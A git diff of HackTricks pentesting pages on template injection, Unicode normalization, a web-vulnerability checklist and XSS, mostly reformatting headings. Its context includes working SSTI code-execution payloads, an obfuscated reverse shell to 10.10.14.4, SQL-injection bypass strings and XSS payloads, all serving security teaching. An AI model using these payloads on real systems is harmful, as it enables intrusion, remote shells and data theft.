SSTI (Server Side Template Injection) +## SSTI (Server Side Template Injection) +
Support HackTricks and get benefits! @@ -16,8 +18,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# What is server-side template injection? +## What is server-side template injection? A server-side template injection occurs when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side. @@ -35,11 +36,11 @@ In the previous example **part of the template** itself is being **dynamically g http://vulnerable-website.com/?name={{bad-stuff-here}} ``` -# Constructing a server-side template injection attack +## Constructing a server-side template injection attack ![](../../.gitbook/assets/ssti-methodology-diagram.png) -## Detect +### Detect As with any vulnerability, the first step towards exploitation is being able to find it. Perhaps the simplest initial approach is to try **fuzzing the template** by injecting a sequence of special characters commonly used in template expressions, such as the polyglot **`${{<%[%'"}}%\`.**\ In order to check if the server is vulnerable you should **spot the differences** between the response with **regular data** on the parameter and the **given payload**.\ @@ -70,7 +71,7 @@ The URL access that page could be similar to: `http://vulnerable-website.com/?gr If you **change** the **`greeting`** parameter for a **different value** the **response won't contain the username**, but if you access something like: `http://vulnerable-website.com/?greeting=data.username}}hello` then, **the response will contain the username** (if the closing template expression chars were **`}}`**).\ If an **error** is thrown during these test, it will be easier to find that the server is vulnerable. -## Identify +### Identify Once you have detected the template injection potential, the next step is to identify the template engine.\ Although there are a huge number of templating languages, many of them use very similar syntax that is specifically chosen not to clash with HTML characters. @@ -87,7 +88,7 @@ Otherwise, you'll need to manually **test different language-specific payloads** ![](<../../.gitbook/assets/image (272).png>) -## Exploit +### Exploit **Read** @@ -110,9 +111,9 @@ Developer-supplied objects are particularly likely to contain sensitive informat At this point you should have a **firm idea of the attack surface available** to you and be able to proceed with traditional security audit techniques, reviewing each function for exploitable vulnerabilities. It's important to approach this in the context of the wider application - some functions can be used to exploit application-specific features. The examples to follow will use template injection to trigger arbitrary object creation, arbitrary file read/write, remote file include, information disclosure and privilege escalation vulnerabilities. -# Tools +## Tools -## [Tplmap](https://github.com/epinna/tplmap) +### [Tplmap](https://github.com/epinna/tplmap) ```python python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell @@ -120,15 +121,15 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomm python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade ``` -# Exploits +## Exploits -## Generic +### Generic In this **wordlist** you can find **variables defined** in the environments of some of the engines mentioned below: * [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt) -## Java +### Java **Java - Basic injection** @@ -154,7 +155,7 @@ ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} ``` -## FreeMarker (Java) +### FreeMarker (Java) You can try your payloads at [https://try.freemarker.apache.org](https://try.freemarker.apache.org) @@ -189,7 +190,7 @@ ${dwf.newInstance(ec,null)("id")} * In FreeMarker section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker) -## Velocity (Java) +### Velocity (Java) ```java #set($str=$class.inspect("java.lang.String").type) @@ -207,7 +208,7 @@ $str.valueOf($chr.toChars($out.read())) * In Velocity section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity) -## Thymeleaf (Java) +### Thymeleaf (Java) The typical test expression for SSTI is `${7*7}`. This expression works in Thymeleaf, too. If you want to achieve remote code execution, you can use one of the following test expressions: @@ -237,7 +238,7 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')}) * [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/) -## Spring View Manipulation (Java) +### Spring View Manipulation (Java) ```java __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x @@ -246,7 +247,7 @@ __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x [https://github.com/veracode-research/spring-view-manipulation](https://github.com/veracode-research/spring-view-manipulation) -## Pebble (Java) +### Pebble (Java) * `{{ someString.toUPPERCASE() }}` @@ -266,6 +267,7 @@ New version of Pebble : + {% set bytes = (1).TYPE .forName('java.lang.Runtime') .methods[6] @@ -279,7 +281,7 @@ New version of Pebble : .newInstance(([bytes]).toArray()) }} ``` -## Jinjava (Java) +### Jinjava (Java) ```java {{'a'.toUpperCase()}} would result in 'A' @@ -306,7 +308,7 @@ Fixed by [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpo * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava) -## Hubspot - HuBL (Java) +### Hubspot - HuBL (Java) * `{% %}` statement delimiters * `{{ }}` expression delimiters @@ -336,6 +338,7 @@ Search for "com.hubspot.content.hubl.context.TemplateContextRequest" and discove + {% raw %} {% %} and {{ }} blocks {% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %} @@ -365,7 +368,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc * [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html) -## Expression Language - EL (Java) +### Expression Language - EL (Java) * `${"aaaa"}` - "aaaa" * `${99999+1}` - 100000. @@ -380,7 +383,7 @@ Check the following page to learn more about the **exploitation of EL interprete [el-expression-language.md](el-expression-language.md) {% endcontent-ref %} -## Smarty (PHP) +### Smarty (PHP) ```php {$smarty.version} @@ -395,7 +398,7 @@ Check the following page to learn more about the **exploitation of EL interprete * In Smarty section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty) -## Twig (PHP) +### Twig (PHP) * `{{7*7}} = 49` * `${7*7} = ${7*7}` @@ -441,7 +444,7 @@ $output = $twig > render ( * In Twig and Twig (Sandboxed) section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig) -## Jade (NodeJS) +### Jade (NodeJS) ```javascript - var x = root.process @@ -459,7 +462,7 @@ $output = $twig > render ( * In Jade section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen) -## Handlebars (NodeJS) +### Handlebars (NodeJS) Path Traversal (more info [here](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)). @@ -500,7 +503,7 @@ URLencoded: * [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html) -## JsRender (NodeJS) +### JsRender (NodeJS) | **Template** | **Description** | | ------------ | --------------------------------------- | @@ -527,7 +530,7 @@ URLencoded: * [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/) -## PugJs (NodeJS) +### PugJs (NodeJS) * `#{7*7} = 49` * `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}` @@ -544,7 +547,7 @@ home = pugjs.render(injected_page) * [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/) -## NUNJUCKS (NodeJS) +### NUNJUCKS (NodeJS) * \{{7\*7\}} = 49 * \{{foo\}} = No output @@ -560,7 +563,7 @@ home = pugjs.render(injected_page) * [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine) -## ERB (Ruby) +### ERB (Ruby) * `{{7*7}} = {{7*7}}` * `${7*7} = ${7*7}` @@ -583,7 +586,7 @@ home = pugjs.render(injected_page) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) -## Slim (Ruby) +### Slim (Ruby) * `{ 7 * 7 }` @@ -595,7 +598,7 @@ home = pugjs.render(injected_page) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) -## Python +### Python Check out the following page to learn tricks about **arbitrary command execution bypassing sandboxes** in python: @@ -603,7 +606,7 @@ Check out the following page to learn tricks about **arbitrary command execution [bypass-python-sandboxes](../../misc/basic-python/bypass-python-sandboxes/) {% endcontent-ref %} -## Tornado (Python) +### Tornado (Python) * `{{7*7}} = 49` * `${7*7} = ${7*7}` @@ -618,12 +621,13 @@ Check out the following page to learn tricks about **arbitrary command execution + {{os.system('whoami')}} ``` **More information** -## Jinja2 (Python) +### Jinja2 (Python) [Official website](http://jinja.pocoo.org) @@ -648,6 +652,7 @@ Check out the following page to learn tricks about **arbitrary command execution + {{settings.SECRET_KEY}} {{4*4}}[[5*5]] {{7*'7'}} would result in 7777777 @@ -679,12 +684,14 @@ If the Debug Extension is enabled, a \` + {% raw %} {% debug %} {% endraw %} + ``` @@ -767,6 +774,7 @@ More: + {% raw %} {% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %} {% endraw %} @@ -838,7 +846,7 @@ Bypassing most common filters ('.','\_','|join','\[',']','mro' and 'base') by [h * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2) * Check [attr trick to bypass blacklisted chars in here](../../misc/basic-python/bypass-python-sandboxes/#python3). -## Mako (Python) +### Mako (Python) ```python <% @@ -848,7 +856,7 @@ x=os.popen('id').read() ${x} ``` -## Razor (.Net) +### Razor (.Net) * `@(2+2) <= Success` * `@() <= Success` @@ -868,7 +876,7 @@ ${x} * [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/) * [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/) -## ASP +### ASP * `<%= 7*7 %>` = 49 * `<%= "foo" %>` = foo @@ -883,7 +891,7 @@ ${x} * [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp) -## Mojolicious (Perl) +### Mojolicious (Perl) Even if it's perl it uses tags like ERB in Ruby. @@ -895,7 +903,7 @@ Even if it's perl it uses tags like ERB in Ruby. <% perl code %> ``` -## SSTI in GO +### SSTI in GO The way to confirm that the template engine used in the backed is Go you can use these payloads: @@ -930,30 +938,30 @@ func (p Person) Secret (test string) string { * [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html) * [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/) -## More Exploits +### More Exploits Check the rest of [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) for more exploits. Also you can find interesting tags information in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) -# BlackHat PDF +## BlackHat PDF -{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %} +{% file src="../../.gitbook/assets/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15.pdf" %} -# Related Help +## Related Help If you think it could be useful, read: -* [Flask tricks](../../pentesting/pentesting-web/flask.md) +* [Flask tricks](../../network-services-pentesting/pentesting-web/flask.md) * [Python magic functions](../../misc/basic-python/magic-methods.md) -# Tools +## Tools {% embed url="https://github.com/epinna/tplmap" %} -# Brute-Force Detection List +## Brute-Force Detection List {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %} -# Practice & References +## Practice & References * [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting) * [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) diff --git a/pentesting-web/unicode-normalization-vulnerability.md b/pentesting-web/unicode-normalization-vulnerability.md index 197236fe..ed9fb83c 100644 --- a/pentesting-web/unicode-normalization-vulnerability.md +++ b/pentesting-web/unicode-normalization-vulnerability.md @@ -1,5 +1,7 @@ # Unicode Normalization vulnerability +## Unicode Normalization vulnerability +
Support HackTricks and get benefits! @@ -16,15 +18,14 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Background +## Background Normalization ensures two strings that may use a different binary representation for their characters have the same binary value after normalization. There are two overall types of equivalence between characters, “**Canonical Equivalence**” and “**Compatibility Equivalence**”:\ **Canonical Equivalent** characters are assumed to have the same appearance and meaning when printed or displayed. **Compatibility Equivalence** is a weaker equivalence, in that two values may represent the same abstract character but can be displayed differently. There are **4 Normalization algorithms** defined by the **Unicode** standard; **NFC, NFD, NFKD and NFKD**, each applies Canonical and Compatibility normalization techniques in a different way. You can read more on the different techniques at Unicode.org. -## Unicode Encoding +### Unicode Encoding Although Unicode was in part designed to solve interoperability issues, the evolution of the standard, the need to support legacy systems and different encoding methods can still pose a challenge.\ Before we delve into Unicode attacks, the following are the main points to understand about Unicode: @@ -41,15 +42,15 @@ An example of how Unicode normalise two different bytes representing the same ch **A list of Unicode equivalent characters can be found here:** [https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html) -## Discovering +### Discovering If you can find inside a webapp a value that is being echoed back, you could try to send **‘KELVIN SIGN’ (U+0212A)** which **normalises to "K"** (you can send it as `%e2%84%aa`). **If a "K" is echoed back**, then, some kind of **Unicode normalisation** is being performed. Other **example**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` after **unicode** is `Leonishan`. -# **Vulnerable Examples** +## **Vulnerable Examples** -## **SQL Injection filter bypass** +### **SQL Injection filter bypass** Imagine a web page that is using the character `'` to create SQL queries with the user input. This web, as a security measure, **deletes** all occurrences of the character **`'`** from the user input, but **after that deletion** and **before the creation** of the query, it **normalises** using **Unicode** the input of the user. @@ -85,17 +86,17 @@ Then, a malicious user could insert a different Unicode character equivalent to %ef%bc%82+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f ``` -## XSS (Cross Site Scripting) +### XSS (Cross Site Scripting) You could use one of the following characters to trick the webapp and exploit a XSS: -![](<../.gitbook/assets/image (312) (1).png>) +![](<../.gitbook/assets/image (312).png>) Notice that for example the first Unicode character purposed can be sent as: `%e2%89%ae` or as `%u226e` -![](<../.gitbook/assets/image (215) (1).png>) +![](<../.gitbook/assets/image (215) (1) (1).png>) -# References +## References **All the information of this page was taken from:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/#**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/#) diff --git a/pentesting-web/web-vulnerabilities-methodology.md b/pentesting-web/web-vulnerabilities-methodology.md index 128b0409..5a5fe2fa 100644 --- a/pentesting-web/web-vulnerabilities-methodology.md +++ b/pentesting-web/web-vulnerabilities-methodology.md @@ -1,4 +1,4 @@ - +# Web Vulnerabilities Methodology
@@ -16,10 +16,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- In every pentest web there is **several hidden and obvious places that might be vulnerable**. This post is meant to be a checklist to confirma that you have searched vulnerabilities in all the posible places. -# Proxies +## Proxies {% hint style="info" %} Nowadays **web** **applications** usually **uses** some kind of **intermediary** **proxies**, those may be (ab)used to exploit vulnerabilities. These vulnerabilities need a vulnerable proxy to be in place, but they usually also need some extra vulnerability in the backend. @@ -30,17 +29,17 @@ Nowadays **web** **applications** usually **uses** some kind of **intermediary** * [ ] [**HTTP Request Smuggling**](http-request-smuggling/) * [ ] [**H2C Smuggling**](h2c-smuggling.md) * [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md) -* [ ] [**Uncovering Cloudflare**](../pentesting/pentesting-web/uncovering-cloudflare.md) +* [ ] [**Uncovering Cloudflare**](../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) * [ ] [**XSLT Server Side Injection**](xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md) -# **User input** +## **User input** {% hint style="info" %} Most of the web applications will **allow users to input some data that will be processed later.**\ Depending on the structure of the data the server is expecting some vulnerabilities may or may not apply. {% endhint %} -## **Reflected Values** +### **Reflected Values** If the introduced data may somehow being reflected in the response, the page might be vulnerable to several issues. @@ -66,7 +65,7 @@ Some of the mentioned vulnerabilities requires special conditions, others just r [pocs-and-polygloths-cheatsheet](pocs-and-polygloths-cheatsheet/) {% endcontent-ref %} -## **Search functionalities** +### **Search functionalities** If the functionality may be used to search some kind of data inside the backend, maybe you can (ab)use it to search arbitrary data. @@ -77,7 +76,7 @@ If the functionality may be used to search some kind of data inside the backend, * [ ] [**SQL Injection**](sql-injection/) * [ ] [**XAPTH Injection**](xpath-injection.md) -## **Forms, WebSockets and PostMsgs** +### **Forms, WebSockets and PostMsgs** When websocket, post message or a form allows user to perform actions vulnerabilities may arise. @@ -85,7 +84,7 @@ When websocket, post message or a form allows user to perform actions vulnerabil * [ ] [**Cross-site WebSocket hijacking (CSWSH)**](cross-site-websocket-hijacking-cswsh.md) * [ ] [**PostMessage Vulnerabilities**](postmessage-vulnerabilities.md) -## **HTTP Headers** +### **HTTP Headers** Depending on the HTTP headers given by the web server some vulnerabilities might be present. @@ -94,7 +93,7 @@ Depending on the HTTP headers given by the web server some vulnerabilities might * [ ] [**Cookies Hacking**](hacking-with-cookies/) * [ ] [**CORS - Misconfigurations & Bypass**](cors-bypass.md) -## **Bypasses** +### **Bypasses** There are several specific functionalities were some workarounds might be useful to bypass them @@ -107,7 +106,7 @@ There are several specific functionalities were some workarounds might be useful * [ ] [**Reset Forgotten Password Bypass**](reset-password.md) * [ ] [**Registration Vulnerabilities**](registration-vulnerabilities.md) -## **Structured objects / Specific functionalities** +### **Structured objects / Specific functionalities** Some functionalities will require the **data to be structured on a very specific format** (like a language serialized object or a XML). Therefore, it's more easy to identify is the application might be vulnerable as it needs to be processing that kind of data.\ Some **specific functionalities** my be also vulnerable if a **specific format of the input is used** (like Email Header Injections). @@ -117,7 +116,7 @@ Some **specific functionalities** my be also vulnerable if a **specific format o * [ ] [**JWT Vulnerabilities**](hacking-jwt-json-web-tokens.md) * [ ] [**XML External Entity**](xxe-xee-xml-external-entity.md) -## Files +### Files Functionalities that allow to upload files might be vulnerable to several issues.\ Functionalities that generates files including user input might execute unexpected code.\ @@ -128,12 +127,12 @@ Users that open files uploaded by users or automatically generated including use * [ ] [**PDF Injection**](xss-cross-site-scripting/pdf-injection.md) * [ ] [**Server Side XSS**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md) -## **External Identity Management** +### **External Identity Management** * [ ] [**OAUTH to Account takeover**](oauth-to-account-takeover.md) * [ ] [**SAML Attacks**](saml-attacks/) -## **Other Helpful Vulnerabilities** +### **Other Helpful Vulnerabilities** This vulnerabilities might help to exploit other vulnerabilities. @@ -142,7 +141,6 @@ This vulnerabilities might help to exploit other vulnerabilities. * [ ] [**Parameter Pollution**](parameter-pollution.md) * [ ] [**Unicode Normalization vulnerability**](unicode-normalization-vulnerability.md) -
Support HackTricks and get benefits! @@ -158,5 +156,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting-web/xss-cross-site-scripting/README.md b/pentesting-web/xss-cross-site-scripting/README.md index 775c7fc3..00814806 100644 --- a/pentesting-web/xss-cross-site-scripting/README.md +++ b/pentesting-web/xss-cross-site-scripting/README.md @@ -1,5 +1,7 @@ # XSS (Cross Site Scripting) +## XSS (Cross Site Scripting) +
Support HackTricks and get benefits! @@ -16,17 +18,15 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-{% hint style="danger" %} -**** +\*\*\*\* **Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} -{% endhint %} -# XSS (Cross Site Scripting) +## XSS (Cross Site Scripting) -## Methodology +### Methodology 1. Check if **any value you control** (_parameters_, _path_, _headers_?, _cookies_?) is being **reflected** in the HTML or **used** by **JS** code. 2. **Find the context** where it's reflected/used. @@ -57,7 +57,7 @@ When working on a complex XSS you might find interesting to know about: [debugging-client-side-js.md](debugging-client-side-js.md) {% endcontent-ref %} -## Reflected values +### Reflected values In order to successfully exploit a XSS the first thing you need to find is a **value controlled by you that is being reflected** in the web page. @@ -65,16 +65,16 @@ In order to successfully exploit a XSS the first thing you need to find is a **v * **Stored and reflected**: If you find that a value controlled by you is saved in the server and is reflected every time you access a page you could exploit a **Stored XSS**. * **Accessed via JS**: If you find that a value controlled by you is being access using JS you could exploit a **DOM XSS**. -## Contexts +### Contexts When trying to exploit a XSS the first thing you need to know if **where is your input being reflected**. Depending on the context, you will be able to execute arbitrary JS code on different ways. -### Raw HTML +#### Raw HTML If your input is **reflected on the raw HTML** page you will need to abuse some **HTML tag** in order to execute JS code: ``**** ****or \*\*\*\*****`--!>`**_ +_**Note: A HTML comment can be closed using\*\*\*\*\*\*\*\*\*\*\*\***** ****`-->`**** ****or \*\*\*\*****`--!>`**_ In this case and if no black/whitelisting is used, you could use payloads like: @@ -136,11 +136,11 @@ In this case and if no black/whitelisting is used, you could use payloads like: But, if tags/attributes black/whitelisting is being used, you will need to **brute-force which tags** you can create.\ Once you have **located which tags are allowed**, you would need to **brute-force attributes/events** inside the found valid tags to see how you can attack the context. -### Tags/Events brute-force +#### Tags/Events brute-force Go to [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click on _**Copy tags to clipboard**_. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can **brute force all the events** using the valid tags (in the same web page click on _**Copy events to clipboard**_ and follow the same procedure as before). -### Custom tags +#### Custom tags If you didn't find any valid HTML tag, you could try to **create a custom tag** and and execute JS code with the `onfocus` attribute. In the XSS request, you need to end the URL with `#` to make the page **focus on that object** and **execute** the code: @@ -148,7 +148,7 @@ If you didn't find any valid HTML tag, you could try to **create a custom tag** /?search=#x ``` -### Blacklist Bypasses +#### Blacklist Bypasses If some kind of blacklist is being used you could try to bypass it with some silly tricks: @@ -202,7 +202,7 @@ onerror=alert`1` < ``` -### Brute-Force List +#### Brute-Force List {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %} -## XSS Abusing other vulnerabilities +### XSS Abusing other vulnerabilities -### XSS in Markdown +#### XSS in Markdown Check [https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt](https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt) to find possible payloads -### XSS to SSRF +#### XSS to SSRF Got XSS on a **site that uses caching**? Try **upgrading that to SSRF** through Edge Side Include Injection with this payload: @@ -1024,7 +1024,7 @@ Got XSS on a **site that uses caching**? Try **upgrading that to SSRF** through Use it to bypass cookie restrictions, XSS filters and much more!\ More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md). -### XSS in dynamic created PDF +#### XSS in dynamic created PDF If a web page is creating a PDF using user controlled input, you can try to **trick the bot** that is creating the PDF into **executing arbitrary JS code**.\ So, if the **PDF creator bot finds** some kind of **HTML** **tags**, it is going to **interpret** them, and you can **abuse** this behaviour to cause a **Server XSS**. @@ -1039,7 +1039,7 @@ If you cannot inject HTML tags it could be worth it to try to **inject PDF data* [pdf-injection.md](pdf-injection.md) {% endcontent-ref %} -### XSS uploading files (svg) +#### XSS uploading files (svg) Upload as an image a file like the following one (from [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): @@ -1091,15 +1091,15 @@ alert("XSS"); ht ``` -Find m**ore SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)**** +Find m**ore SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\* -## XSS resources +### XSS resources [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)\ [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list) [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list) [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)\ [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html) -### XSS TOOLS +#### XSS TOOLS Find some [**tools for XSS here**](xss-tools.md)**.** diff --git a/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md b/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md index dd6731bd..a196e9d1 100644 --- a/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md +++ b/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md @@ -1,5 +1,7 @@ # Debugging Client Side JS +## Debugging Client Side JS +
Support HackTricks and get benefits! @@ -16,14 +18,13 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- Debugging client side JS can be a pain because every-time you change the URL (including a change in the params used or param values) you need to **reset the breakpoint and reload the page**. -## `debugger;` +### `debugger;` If you place the line `debugger;` inside a JS file, when the **browser** executes the JS it will **stop** the **debugger** in that place. Therefore, one way to set constant breakpoints would be to **download all the files locally and change set breakpoints in the JS code**. -## Overrides +### Overrides Browser overrides allows to have a local copy of the code that is going to be executed and execute that one instead of the one from the remote server.\ You can **access the overrides** in "Dev Tools" --> "Sources" --> "Overrides". @@ -36,9 +37,9 @@ Then, in "Dev Tools" --> "Sources" **select the file** you want to override and This will **copy the JS file locally** and you will be able to **modify that copy in the browser**. So just add the **`debugger;`** command wherever you want, **save** the change and **reload** the page, and every-time you access that web page **your local JS copy is going to be loaded** and your debugger command maintained in its place: -![](<../../.gitbook/assets/image (648).png>) +![](<../../.gitbook/assets/image (642) (2).png>) -# References +## References * [https://www.youtube.com/watch?v=BW\_-RCo9lo8\&t=1529s](https://www.youtube.com/watch?v=BW\_-RCo9lo8\&t=1529s) diff --git a/pentesting/pentesting-kubernetes/attacking-kubernetes-from-inside-a-pod.md 